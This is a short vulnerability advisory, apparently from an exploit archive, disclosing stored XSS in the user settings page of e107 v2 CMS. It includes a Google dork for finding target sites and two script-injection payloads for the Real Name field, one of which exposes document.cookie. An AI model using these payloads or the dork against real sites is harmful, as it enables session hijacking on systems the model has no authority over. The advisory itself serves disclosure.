######################################################## # Exploit Title: e107 v2 Bootstrap CMS XSS Vulnerability ######################################################## # Google Dork: Proudly powered by e107 # Date: [19/11/2015] # Exploit Author: Guardiran Security Team =>DeMoN # Vendor Homepage: [http://e107.org/] # Software Link: [-] # Version: All Version # Tested on: [Win 8.1/Google chrome] # CVE : [-] ######################################################## # DISCRIPTION: Hello Guys. # CMS user details section is vulnerable to XSS. You can run XSS payloads. # XSS Vulnerability #1: # Go Update user settings page # "http://{target-url}/usersettings.php" # Set Real Name value; # "><script>alert(String.fromCharCode(88, 83, 83))</script> # or # "><script>alert(document.cookie)</script> ######################################################## # Thanks to : C0d3!Nj3ct!0N | REX | abarestan | GrYpHoN | BLACKH4T # We Are Guardiran Security Team # Discovered By:DeMoN ########################################################